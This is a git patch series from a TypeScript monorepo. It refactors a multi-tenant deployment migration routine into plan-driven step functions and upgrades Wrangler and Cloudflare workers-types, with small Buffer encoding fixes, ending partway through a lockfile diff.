assertLiveDeploymentMatches( + live, + entry, + spec, + targetDigest, + current.migrationIntent?.targetRelease.application ?? + current.pendingRelease?.application, + ); + if (current.pendingRelease) { + assertExternalReleaseArtifactVersion( + live, + current.pendingRelease, + 'migration candidate', + ); + } + if ( + targetPhysicalScriptName && + live.scriptName !== targetPhysicalScriptName + ) { + throw new Error('migration candidate has an unexpected physical name'); + } + if ( + current.migrationIntent && + current.pendingRelease?.artifactVersion === 'pending' + ) { + const intendedTopology = current.pendingRelease.topology; + if (!intendedTopology) { + throw new Error('migration candidate has no intended binding topology'); + } + const pendingRelease = { + ...current.migrationIntent.targetRelease, + artifactVersion: live.artifactVersion, + topology: externalReleaseTopologyFromLive(live, intendedTopology), + }; + current = { + ...current, + pendingRelease, + migrationIntent: { + ...current.migrationIntent, + targetRelease: pendingRelease, + subphase: 'candidate-deployed', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } else if ( + !immutableExternal && + current.pendingArtifactVersion === undefined + ) { + current = { + ...current, + pendingArtifactVersion: live.artifactVersion, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationArmMaintenance( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, backend, spec, secrets } = admitted; + current = await commitInvocationAuthority(lease, current, admitted.clock); + await lease.assertOwned(); + const maintenance = await backend.ensureMaintenance( + spec, + secrets.maintenanceAdmin, + lease, + pendingArtifactVersion(current), + ); + if (!maintenance.armed) throw new Error('maintenance did not re-arm'); + if (current.migrationIntent?.subphase === 'candidate-deployed') { + current = { + ...current, + migrationIntent: { + ...current.migrationIntent, + subphase: 'candidate-armed', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationPromote( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { + lease, + backend, + spec, + secrets, + targetDigest, + targetPhysicalScriptName, + } = admitted; + const publicationPreflight = await backend.inspect( + spec, + secrets.maintenanceAdmin, + pendingArtifactVersion(current), + ); + if (!publicationPreflight) { + throw new Error('migration candidate is missing before publication'); + } + assertLiveDeploymentMatches( + publicationPreflight, + entry, + spec, + targetDigest, + current.migrationIntent?.targetRelease.application ?? + current.pendingRelease?.application, + ); + if (current.pendingRelease) { + assertExternalReleaseArtifactVersion( + publicationPreflight, + current.pendingRelease, + 'migration publication', + ); + } + // The preceding maintenance step durably committed invocation authority. + await lease.assertOwned(); + await backend.promoteWorker( + spec, + buildPromotionGuard(current, targetPhysicalScriptName ?? spec.scriptName), + current.migrationIntent?.target.outboundPolicy ?? current.outboundPolicy, + lease, + pendingArtifactVersion(current), + ); + if (current.migrationIntent) { + current = { + ...current, + migrationIntent: { + ...current.migrationIntent, + subphase: 'route-published', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationSettleReady( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { + lease, + backend, + spec, + secrets, + targetDigest, + finalizedStateProvider, + settlementFor, + attestationOptions, + targetPlatform, + targetPhysicalScriptName, + } = admitted; + if (isConvergedTerminalCommit(current, admitted, 'full')) return current; + const live = await backend.inspect( + spec, + secrets.maintenanceAdmin, + pendingArtifactVersion(current), + ); + if (!live) { + throw new Error( + `deployment did not converge after migration for ${entry.tenantTag}:${entry.environment}`, + ); + } + assertLiveDeploymentMatches( + live, + entry, + spec, + targetDigest, + current.migrationIntent?.targetRelease.application ?? + current.pendingRelease?.application, + ); + if (current.pendingRelease) { + assertExternalReleaseArtifactVersion( + live, + current.pendingRelease, + 'migration settlement', + ); + } + if ( + targetPhysicalScriptName && + live.scriptName !== targetPhysicalScriptName + ) { + throw new Error('promoted release has an unexpected physical name'); + } + const rollbackRelease = current.migrationPriorRelease; + const retiringRelease = targetPhysicalScriptName + ? entry.rollbackRelease + : undefined; + const committedTargetRelease = current.pendingRelease; + if ( + targetPhysicalScriptName && + (!committedTargetRelease || + committedTargetRelease.physicalScriptName !== targetPhysicalScriptName || + !committedTargetRelease.topology) + ) { + throw new Error('promoted release has no exact persisted binding topology'); + } + const migrationSettlement = await settlePromotedRoute({ + backend, + spec, + record: current, + entry: 'migration', + target: committedTargetRelease, + prior: rollbackRelease, + expectedSpecDigest: targetDigest, + expectedArtifactVersion: live.artifactVersion, + settlementHost: settlementFor?.(current), + attestation: attestationOptions, + }); + const settled = { ...current }; + delete settled.pendingRelease; + delete settled.migrationPriorRelease; + delete settled.pendingSpecDigest; + delete settled.pendingArtifactVersion; + delete settled.migrationIntent; + const migrated: FleetRecord = { + ...settled, + phase: 'ready', + desiredSpecDigest: targetDigest, + schemaVersion: spec.schemaVersion, + artifactVersion: live.artifactVersion, + ...(targetPhysicalScriptName + ? { + activeRelease: committedTargetRelease as ExternalReleaseSnapshot, + rollbackRelease, + ...(retiringRelease ? { retiringRelease } : {}), } - assertLiveDeploymentMatches( - publicationPreflight, - stored, - spec, - targetDigest, - migrationRecord.migrationIntent?.targetRelease.application ?? - migrationRecord.pendingRelease?.application, - ); - if (migrationRecord.pendingRelease) { - assertExternalReleaseArtifactVersion( - publicationPreflight, - migrationRecord.pendingRelease, - 'migration publication', - ); + : {}), + ...(targetPlatform + ? { + platformTarget: targetPlatform, + outboundPolicy: targetPlatform.outboundPolicy, } - // No flip here: the unconditional candidate-maintenance flip above - // already committed the carrier durably earlier in this same call. - await lease.assertOwned(); - await backend.promoteWorker( - spec, - buildPromotionGuard( - migrationRecord, - targetPhysicalScriptName ?? spec.scriptName, + : {}), + durableObjectTag: finalizedStateProvider + ? current.durableObjectTag + : targetDurableObjectTag(spec), + ...(spec.authoredBy === 'platform' + ? { + durableObjectMigrationHistory: canonicalDurableObjectMigrationHistory( + spec.durableObjectMigrations, ), - migrationRecord.migrationIntent?.target.outboundPolicy ?? - migrationRecord.outboundPolicy, - lease, - pendingArtifactVersion(migrationRecord), - ); - if (migrationRecord.migrationIntent) { - migrationRecord = { - ...migrationRecord, - migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'route-published', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); + durableObjectMigrationHistoryDigest: + durableObjectMigrationHistoryDigest(spec.durableObjectMigrations), } - live = await backend.inspect( - spec, - secrets.maintenanceAdmin, - pendingArtifactVersion(migrationRecord), - ); - if (!live) { - throw new Error( - `deployment did not converge after migration for ${stored.tenantTag}:${stored.environment}`, - ); - } - assertLiveDeploymentMatches( - live, - stored, - spec, - targetDigest, - migrationRecord.migrationIntent?.targetRelease.application ?? - migrationRecord.pendingRelease?.application, + : {}), + durableObjectBindings: live.durableObjectBindings, + applicationBindings: + committedTargetRelease?.application ?? + applicationBindingTopology(spec, current.applicationResources ?? []), + ...(migrationSettlement.settled + ? { settledSettlementKey: migrationSettlement.settlementKey } + : {}), + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(migrated); + return migrated; +} + +async function migrationRetirePost( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, database, backend, spec } = admitted; + return retireCommittedRelease( + backend, + spec, + database, + current, + lease, + admitted.clock, + ); +} + +type FleetMigrationStepResult = + | Readonly<{ done: false; record: FleetRecord; resultOnDone?: never }> + | Readonly<{ done: true; record: FleetRecord; resultOnDone: FleetRecord }>; + +export async function executeNextMigrationStep( + admitted: AdmittedFleetMigrationContext, + plan: readonly FleetMigrationPlanEntry[], + planCursor: number, + recordViews: Readonly<{ entry: FleetRecord; current: FleetRecord }>, +): Promise { + const planEntry = plan[planCursor]; + if (!planEntry) { + throw new Error('fleet migration item no longer matches its frozen plan'); + } + const { entry } = recordViews; + let { current } = recordViews; + switch (planEntry.step) { + case 'retire-pre': + current = await migrationRetirePre(admitted, current); + break; + case 'ready-target-backfill': + current = await migrationReadyTargetBackfill(admitted, current); + break; + case 'ready-platform-resources': + current = await migrationReadyPlatformResources(admitted, current); + break; + case 'ready-maintenance': + current = await migrationReadyMaintenance(admitted, current); + break; + case 'ready-promote': + current = await migrationReadyPromote(admitted, current); + break; + case 'ready-attest-settle': + current = await migrationReadyAttestSettle(admitted, current); + break; + case 'ready-retire-post': + current = await migrationReadyRetirePost(admitted, current); + break; + case 'admit-migrating': + current = await migrationAdmitMigrating( + admitted, + current, + fleetMigrationPlanKindOf(plan), + ); + break; + case 'assert-migrating': + current = await migrationAssertMigrating(admitted, current); + break; + case 'platform-only-schema': + current = await migrationPlatformOnlySchema(admitted, current); + break; + case 'platform-only-resources': + current = await migrationPlatformOnlyResources(admitted, current); + break; + case 'platform-only-maintenance': + current = await migrationPlatformOnlyMaintenance( + admitted, + current, + entry, + ); + break; + case 'platform-only-promote': + current = await migrationPlatformOnlyPromote(admitted, current, entry); + break; + case 'platform-only-ready': + current = await migrationPlatformOnlyReady(admitted, current, entry); + break; + case 'seed-identity': + current = await migrationSeedIdentity(admitted, current, entry); + break; + case 'apply-migrations': + current = await migrationApplyMigrations( + admitted, + current, + entry, + planEntry, + !plan + .slice(planCursor + 1) + .some(({ step }) => step === 'apply-migrations'), + ); + break; + case 'migration-schema-applied': + current = await migrationSchemaApplied(admitted, current); + break; + case 'platform-resources': + current = await migrationPlatformResources(admitted, current); + break; + case 'pending-topology': + current = await migrationPendingTopology(admitted, current); + break; + case 'deploy-candidate': + current = await migrationDeployCandidate(admitted, current, entry); + break; + case 'arm-maintenance': + current = await migrationArmMaintenance(admitted, current); + break; + case 'promote': + current = await migrationPromote(admitted, current, entry); + break; + case 'settle-ready': + current = await migrationSettleReady(admitted, current, entry); + break; + case 'retire-post': + current = await migrationRetirePost(admitted, current); + break; + } + if ( + planEntry.step === 'ready-retire-post' || + planEntry.step === 'platform-only-ready' || + planEntry.step === 'retire-post' + ) { + return { done: true, record: current, resultOnDone: current }; + } + return { done: false, record: current }; +} + +export async function migrateFleet(options: { + readonly store: FleetStateStore; + readonly records: readonly FleetRecord[]; + readonly canaryTenantTags: readonly string[]; + readonly backendFor: (record: FleetRecord) => ProvisioningBackend; + readonly specFor: (record: FleetRecord) => DeploymentSpec; + readonly secretsFor: (record: FleetRecord) => DeploymentSecrets; + readonly finalizedStateProviderFor?: ( + record: FleetRecord, + ) => FinalizedOrdinaryStateProvider | undefined; + /** + * The host to hand each settled promotion to, per deployment. + * + * Optional, and its absence changes nothing about correctness: every promote + * path attests what it published whether or not a host is settling, because + * checking its own work is the package's obligation rather than a service it + * performs for a caller. + * + * `provisionDeployment` deliberately consults nothing like this. A first + * deploy returns synchronously to the caller that asked for it, so the host + * already knows the moment it went live and can settle after the call using + * `attestFleetRecordActiveRoute`; an in-lease settlement point there would + * add a callback into the critical section to tell a caller something it is + * about to be told anyway. + */ + readonly settlementFor?: ( + record: FleetRecord, + ) => FleetSettlementHost | undefined; + /** + * Tuning for the convergence wait each post-promote attestation performs. + * The defaults suit every provider this package targets; a caller overrides + * them to bound the wait differently or to drive it from an injected clock. + */ + readonly routeAttestation?: AttestConvergedActiveRouteOptions; + readonly clock?: () => number; +}): Promise { + const canaryOrder = new Map( + options.canaryTenantTags.map((tenantTag, index) => [tenantTag, index]), + ); + const ordered = [...options.records].sort((a, b) => { + const aCanary = canaryOrder.get(a.tenantTag); + const bCanary = canaryOrder.get(b.tenantTag); + if (aCanary !== undefined || bCanary !== undefined) { + if (aCanary === undefined) return 1; + if (bCanary === undefined) return -1; + return aCanary - bCanary; + } + return `${a.tenantTag}:${a.environment}`.localeCompare( + `${b.tenantTag}:${b.environment}`, + ); + }); + const attestationOptions: AttestConvergedActiveRouteOptions = { + clock: options.clock ?? Date.now, + ...options.routeAttestation, + }; + const updated: FleetRecord[] = []; + for (const [index, record] of ordered.entries()) { + const next = await options.store.withDeploymentLease( + record.tenantTag, + record.environment, + async (lease) => { + const { admitted, plan, reread } = await admitFleetMigrationItem( + { + store: options.store, + backendFor: (record) => options.backendFor(record), + specFor: (record) => options.specFor(record), + secretsFor: (record) => options.secretsFor(record), + finalizedStateProviderFor: (record) => + options.finalizedStateProviderFor?.(record), + settlementFor: (record) => options.settlementFor?.(record), + lease, + attestationOptions, + // Read at each legacy site: helpers capture the clock function, + // while direct nullish calls keep its receiver unbound. + get clock() { + return options.clock ?? Date.now; + }, + ordinal: index + 1, + }, + record.tenantTag, + record.environment, ); - if (migrationRecord.pendingRelease) { - assertExternalReleaseArtifactVersion( - live, - migrationRecord.pendingRelease, - 'migration settlement', - ); - } - if ( - targetPhysicalScriptName && - live.scriptName !== targetPhysicalScriptName - ) { - throw new Error('promoted release has an unexpected physical name'); - } - const rollbackRelease = migrationRecord.migrationPriorRelease; - const retiringRelease = targetPhysicalScriptName - ? stored.rollbackRelease - : undefined; - const committedTargetRelease = migrationRecord.pendingRelease; - if ( - targetPhysicalScriptName && - (!committedTargetRelease || - committedTargetRelease.physicalScriptName !== - targetPhysicalScriptName || - !committedTargetRelease.topology) - ) { - throw new Error( - 'promoted release has no exact persisted binding topology', - ); + let entry = reread; + let current = reread; + for (let cursor = 0; ; cursor += 1) { + const step = await executeNextMigrationStep(admitted, plan, cursor, { + entry, + current, + }); + current = step.record; + if (plan[cursor]?.step === 'retire-pre') entry = current; + if (step.done) return step.resultOnDone; } - const migrationSettlement = await settlePromotedRoute({ - backend, - spec, - record: migrationRecord, - entry: 'migration', - target: committedTargetRelease, - prior: rollbackRelease, - expectedSpecDigest: targetDigest, - expectedArtifactVersion: live.artifactVersion, - settlementHost: options.settlementFor?.(migrationRecord), - attestation: attestationOptions, - }); - const settled = { ...migrationRecord }; - delete settled.pendingRelease; - delete settled.migrationPriorRelease; - delete settled.pendingSpecDigest; - delete settled.pendingArtifactVersion; - delete settled.migrationIntent; - const migrated: FleetRecord = { - ...settled, - phase: 'ready', - desiredSpecDigest: targetDigest, - schemaVersion: spec.schemaVersion, - artifactVersion: live.artifactVersion, - ...(targetPhysicalScriptName - ? { - activeRelease: - committedTargetRelease as ExternalReleaseSnapshot, - rollbackRelease, - ...(retiringRelease ? { retiringRelease } : {}), - } - : {}), - ...(targetPlatform - ? { - platformTarget: targetPlatform, - outboundPolicy: targetPlatform.outboundPolicy, - } - : {}), - durableObjectTag: finalizedStateProvider - ? migrationRecord.durableObjectTag - : targetDurableObjectTag(spec), - ...(spec.authoredBy === 'platform' - ? { - durableObjectMigrationHistory: - canonicalDurableObjectMigrationHistory( - spec.durableObjectMigrations, - ), - durableObjectMigrationHistoryDigest: - durableObjectMigrationHistoryDigest( - spec.durableObjectMigrations, - ), - } - : {}), - durableObjectBindings: live.durableObjectBindings, - applicationBindings: - committedTargetRelease?.application ?? - applicationBindingTopology( - spec, - migrationRecord.applicationResources ?? [], - ), - ...(migrationSettlement.settled - ? { settledSettlementKey: migrationSettlement.settlementKey } - : {}), - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrated); - return retireCommittedRelease( - backend, - spec, - database, - migrated, - lease, - options.clock ?? Date.now, - ); }, ); updated.push(next); diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts index ac7b9bbf..dd28198a 100644 --- a/packages/fleet-control/src/state-store.ts +++ b/packages/fleet-control/src/state-store.ts @@ -52,7 +52,11 @@ import type { PlatformPlaneStateStore, ProvisioningPhase, } from './types.js'; -import { effectiveLifecyclePhase, PROVISIONING_PHASES } from './types.js'; +import { + EXTERNAL_MIGRATION_SUBPHASES, + effectiveLifecyclePhase, + PROVISIONING_PHASES, +} from './types.js'; import { deploymentKey } from './validation.js'; export interface FleetStateDatabase { @@ -400,15 +404,6 @@ function optionalPlatformTarget( ); } -const EXTERNAL_MIGRATION_SUBPHASES = [ - 'planned', - 'schema-applied', - 'platform-applied', - 'candidate-deployed', - 'candidate-armed', - 'route-published', -] as const satisfies readonly ExternalMigrationSubphase[]; - function optionalMigrationIntent( value: unknown, tenantTag: string, diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index c7ee03b3..1ac4b656 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -300,6 +300,15 @@ export interface ExternalPlatformTargetDescription { readonly outboundPolicy: DeploymentEgressPolicy; } +export const EXTERNAL_MIGRATION_SUBPHASES = [ + 'planned', + 'schema-applied', + 'platform-applied', + 'candidate-deployed', + 'candidate-armed', + 'route-published', +] as const satisfies readonly ExternalMigrationSubphase[]; + export const BACKEND_SWITCH_SUBPHASES = [ 'planned', 'bridge-upload-authorized', From d9c1e75893a4c3ad8381fbffdf896bc5ed270bf1 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 5 Sep 2026 19:59:48 +0400 Subject: [PATCH 072/169] chore: upgrade Wrangler to 4.129.0 Upgrade workspace Wrangler consumers and their required Workers types. Keep FlowSafe on the v4 types required by its pinned Mastra D1 adapter, and run its repository harnesses through the root Wrangler installation. Preserve the seven-day dependency gate with approved exact-version exceptions for Wrangler and Miniflare. Apply the same approved exceptions to the isolated packed-consumer check without copying workspace overrides. Convert random-byte results through Buffer before base64url encoding so the current typings compile without changing entropy or output format. Verification: repository lint, all package and harness typechecks, repository build, packed FlowSafe agent-host consumer, binding tests, independent encoding and dependency-graph probes, local Worker D1/quota proof, and the deterministic FlowSafe restart/recovery spike. Four independent review lanes cleared the complete checkpoint. --- package.json | 4 +- packages/agent-starter/package.json | 4 +- packages/fleet-control/package.json | 4 +- .../fleet-control/src/application-bindings.ts | 3 +- packages/fleet-control/src/secrets.ts | 5 +- packages/flowsafe/package.json | 1 - .../flowsafe/scripts/agent-host-pack-test.mjs | 15 +- .../flowsafe/scripts/durability-benchmark.mjs | 2 +- .../flowsafe/scripts/spike-verify-llm.mjs | 2 +- packages/flowsafe/scripts/spike-verify.mjs | 2 +- packages/showcase/package.json | 4 +- pnpm-lock.yaml | 475 ++++-------------- pnpm-workspace.yaml | 10 +- 13 files changed, 124 insertions(+), 407 deletions(-) diff --git a/package.json b/package.json index 35f72443..c0c43380 100644 --- a/package.json +++ b/package.json @@ -51,7 +51,7 @@ "@biomejs/biome": "^2.4.11", "@changesets/cli": "^2.31.0", "@cloudflare/vitest-pool-workers": "0.20.1", - "@cloudflare/workers-types": "5.20260730.1", + "@cloudflare/workers-types": "5.20260905.1", "@types/node": "22.20.0", "dependency-cruiser": "18.1.1", "github-slugger": "2.0.0", @@ -65,7 +65,7 @@ "unified": "11.0.5", "unist-util-visit": "5.1.0", "vitest": "^4.1.8", - "wrangler": "4.118.0", + "wrangler": "4.129.0", "yaml": "2.9.0" }, "engines": { diff --git a/packages/agent-starter/package.json b/packages/agent-starter/package.json index 3922dd37..f5a2679d 100644 --- a/packages/agent-starter/package.json +++ b/packages/agent-starter/package.json @@ -25,10 +25,10 @@ "zod": "^4.4.3" }, "devDependencies": { - "@cloudflare/workers-types": "^4.2025", + "@cloudflare/workers-types": "^5.20260905.1", "typescript": "^5.6", "vitest": "^4.1.8", - "wrangler": "^4.107.0" + "wrangler": "^4.129.0" }, "engines": { "node": ">=22.13.0" diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index 447b3f30..b1348b24 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -62,11 +62,11 @@ "p-queue": "9.3.3" }, "devDependencies": { - "@cloudflare/workers-types": "5.20260730.1", + "@cloudflare/workers-types": "5.20260905.1", "@types/node": "22.20.0", "typescript": "^5.6", "vitest": "^4.1.8", - "wrangler": "4.118.0" + "wrangler": "4.129.0" }, "license": "Apache-2.0" } diff --git a/packages/fleet-control/src/application-bindings.ts b/packages/fleet-control/src/application-bindings.ts index f5e4b4da..ca9cffa9 100644 --- a/packages/fleet-control/src/application-bindings.ts +++ b/packages/fleet-control/src/application-bindings.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { Buffer } from 'node:buffer'; import { createHash, randomBytes } from 'node:crypto'; import type { ApplicationBindingTopology, @@ -212,7 +213,7 @@ export function reserveApplicationR2Resources( ): readonly ApplicationR2Resource[] { return canonicalApplicationBindings(spec).r2Buckets.map((binding) => { const jurisdiction = binding.jurisdiction ?? 'default'; - const reservationNonce = randomBytes(24).toString('base64url'); + const reservationNonce = Buffer.from(randomBytes(24)).toString('base64url'); return { name: binding.name, bucketName: reservedBucketName( diff --git a/packages/fleet-control/src/secrets.ts b/packages/fleet-control/src/secrets.ts index 49750c1f..89caaadb 100644 --- a/packages/fleet-control/src/secrets.ts +++ b/packages/fleet-control/src/secrets.ts @@ -1,12 +1,13 @@ // SPDX-License-Identifier: Apache-2.0 +import { Buffer } from 'node:buffer'; import { randomBytes } from 'node:crypto'; import type { DeploymentSecrets } from './types.js'; export function generateDeploymentSecrets(): DeploymentSecrets { return { - deploymentIdentity: randomBytes(32).toString('base64url'), - maintenanceAdmin: randomBytes(32).toString('base64url'), + deploymentIdentity: Buffer.from(randomBytes(32)).toString('base64url'), + maintenanceAdmin: Buffer.from(randomBytes(32)).toString('base64url'), }; } diff --git a/packages/flowsafe/package.json b/packages/flowsafe/package.json index bdad9734..7a495776 100644 --- a/packages/flowsafe/package.json +++ b/packages/flowsafe/package.json @@ -113,7 +113,6 @@ "types-react-dom-18": "npm:@types/react-dom@^18.3.7", "typescript": "^5.6", "vitest": "^4.1.8", - "wrangler": "4.118.0", "zod": "4.4.3" }, "keywords": [ diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 907a4932..42b2745f 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -14,6 +14,7 @@ import { createRequire } from 'node:module'; import { tmpdir } from 'node:os'; import { dirname, join, resolve } from 'node:path'; import { fileURLToPath } from 'node:url'; +import { parse as parseYaml } from 'yaml'; import { assertAttwEsmPackage } from './attw-pack-check.mjs'; const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); @@ -133,6 +134,9 @@ try { const rootManifest = JSON.parse( readFileSync(join(repositoryRoot, 'package.json'), 'utf8'), ); + const rootPackagePolicy = parseYaml( + readFileSync(join(repositoryRoot, 'pnpm-workspace.yaml'), 'utf8'), + ); writeFileSync( join(consumer, 'package.json'), `${JSON.stringify( @@ -158,7 +162,16 @@ try { ); writeFileSync( join(consumer, 'pnpm-workspace.yaml'), - 'packages:\n - "."\nminimumReleaseAge: 10080\n', + `${JSON.stringify( + { + packages: ['.'], + minimumReleaseAge: 10080, + minimumReleaseAgeExclude: + rootPackagePolicy.minimumReleaseAgeExclude ?? [], + }, + null, + 2, + )}\n`, ); writeFileSync( join(consumer, '.npmrc'), diff --git a/packages/flowsafe/scripts/durability-benchmark.mjs b/packages/flowsafe/scripts/durability-benchmark.mjs index 255c20b6..6df92439 100644 --- a/packages/flowsafe/scripts/durability-benchmark.mjs +++ b/packages/flowsafe/scripts/durability-benchmark.mjs @@ -9,7 +9,7 @@ import { } from '../../../scripts/workerd-server-lifecycle.mjs'; const FLOWSAFE = dirname(dirname(fileURLToPath(import.meta.url))); -const WRANGLER = join(FLOWSAFE, 'node_modules/.bin/wrangler'); +const WRANGLER = join(FLOWSAFE, '../../node_modules/.bin/wrangler'); const CONFIG = join(FLOWSAFE, 'spike/durability-benchmark.wrangler.jsonc'); const PORT = parsePort( process.env.DURABILITY_BENCHMARK_PORT ?? 8801, diff --git a/packages/flowsafe/scripts/spike-verify-llm.mjs b/packages/flowsafe/scripts/spike-verify-llm.mjs index cfd729c5..255a8394 100644 --- a/packages/flowsafe/scripts/spike-verify-llm.mjs +++ b/packages/flowsafe/scripts/spike-verify-llm.mjs @@ -11,7 +11,7 @@ import { import { parseLlmSpikeConfig } from './spike-llm-config.mjs'; const FLOWSAFE = dirname(dirname(fileURLToPath(import.meta.url))); -const WRANGLER = join(FLOWSAFE, 'node_modules/.bin/wrangler'); +const WRANGLER = join(FLOWSAFE, '../../node_modules/.bin/wrangler'); const CONFIG = join(FLOWSAFE, 'spike/wrangler.jsonc'); // Distinct from every other harness default (spike:verify 8799, // durability-benchmark 8801, conformance:verify 8821) so two can run at once. diff --git a/packages/flowsafe/scripts/spike-verify.mjs b/packages/flowsafe/scripts/spike-verify.mjs index 98ec4493..9bc2d5ad 100644 --- a/packages/flowsafe/scripts/spike-verify.mjs +++ b/packages/flowsafe/scripts/spike-verify.mjs @@ -44,7 +44,7 @@ import { } from '../../../scripts/workerd-server-lifecycle.mjs'; const FLOWSAFE = dirname(dirname(fileURLToPath(import.meta.url))); -const WRANGLER = join(FLOWSAFE, 'node_modules/.bin/wrangler'); +const WRANGLER = join(FLOWSAFE, '../../node_modules/.bin/wrangler'); const CONFIG = join(FLOWSAFE, 'spike/wrangler.jsonc'); const PORT = parsePort( process.env.SPIKE_VERIFY_PORT ?? 8799, diff --git a/packages/showcase/package.json b/packages/showcase/package.json index bccbd958..f63c559b 100644 --- a/packages/showcase/package.json +++ b/packages/showcase/package.json @@ -43,7 +43,7 @@ }, "devDependencies": { "@cloudflare/vite-plugin": "1.50.0", - "@cloudflare/workers-types": "5.20260730.1", + "@cloudflare/workers-types": "5.20260905.1", "@testing-library/jest-dom": "^6.6.0", "@testing-library/react": "^16.1.0", "@types/react": "^19.0.0", @@ -53,7 +53,7 @@ "typescript": "^5.6", "vite": "^6", "vitest": "^4.1.8", - "wrangler": "4.118.0" + "wrangler": "4.129.0" }, "license": "Apache-2.0" } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index c22e8e6a..40b041f1 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -29,10 +29,10 @@ importers: version: 2.31.0(@types/node@22.20.0) '@cloudflare/vitest-pool-workers': specifier: 0.20.1 - version: 0.20.1(@cloudflare/workers-types@5.20260730.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))) + version: 0.20.1(@cloudflare/workers-types@5.20260905.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))) '@cloudflare/workers-types': - specifier: 5.20260730.1 - version: 5.20260730.1 + specifier: 5.20260905.1 + version: 5.20260905.1 '@types/node': specifier: 22.20.0 version: 22.20.0 @@ -73,8 +73,8 @@ importers: specifier: ^4.1.8 version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)) wrangler: - specifier: 4.118.0 - version: 4.118.0(@cloudflare/workers-types@5.20260730.1) + specifier: 4.129.0 + version: 4.129.0(@cloudflare/workers-types@5.20260905.1) yaml: specifier: 2.9.0 version: 2.9.0 @@ -95,8 +95,8 @@ importers: version: 4.4.3 devDependencies: '@cloudflare/workers-types': - specifier: ^4.2025 - version: 4.20260702.1 + specifier: ^5.20260905.1 + version: 5.20260905.1 typescript: specifier: ^5.6 version: 5.9.3 @@ -104,8 +104,8 @@ importers: specifier: ^4.1.8 version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)) wrangler: - specifier: ^4.107.0 - version: 4.107.0(@cloudflare/workers-types@4.20260702.1) + specifier: ^4.129.0 + version: 4.129.0(@cloudflare/workers-types@5.20260905.1) packages/breakwater: dependencies: @@ -139,8 +139,8 @@ importers: version: 9.3.3 devDependencies: '@cloudflare/workers-types': - specifier: 5.20260730.1 - version: 5.20260730.1 + specifier: 5.20260905.1 + version: 5.20260905.1 '@types/node': specifier: 22.20.0 version: 22.20.0 @@ -151,8 +151,8 @@ importers: specifier: ^4.1.8 version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)) wrangler: - specifier: 4.118.0 - version: 4.118.0(@cloudflare/workers-types@5.20260730.1) + specifier: 4.129.0 + version: 4.129.0(@cloudflare/workers-types@5.20260905.1) packages/flowsafe: dependencies: @@ -199,9 +199,6 @@ importers: vitest: specifier: ^4.1.8 version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)) - wrangler: - specifier: 4.118.0 - version: 4.118.0(@cloudflare/workers-types@4.20260702.1) zod: specifier: 4.4.3 version: 4.4.3 @@ -250,10 +247,10 @@ importers: devDependencies: '@cloudflare/vite-plugin': specifier: 1.50.0 - version: 1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.118.0(@cloudflare/workers-types@5.20260730.1)) + version: 1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.129.0(@cloudflare/workers-types@5.20260905.1)) '@cloudflare/workers-types': - specifier: 5.20260730.1 - version: 5.20260730.1 + specifier: 5.20260905.1 + version: 5.20260905.1 '@testing-library/jest-dom': specifier: ^6.6.0 version: 6.9.1 @@ -282,8 +279,8 @@ importers: specifier: ^4.1.8 version: 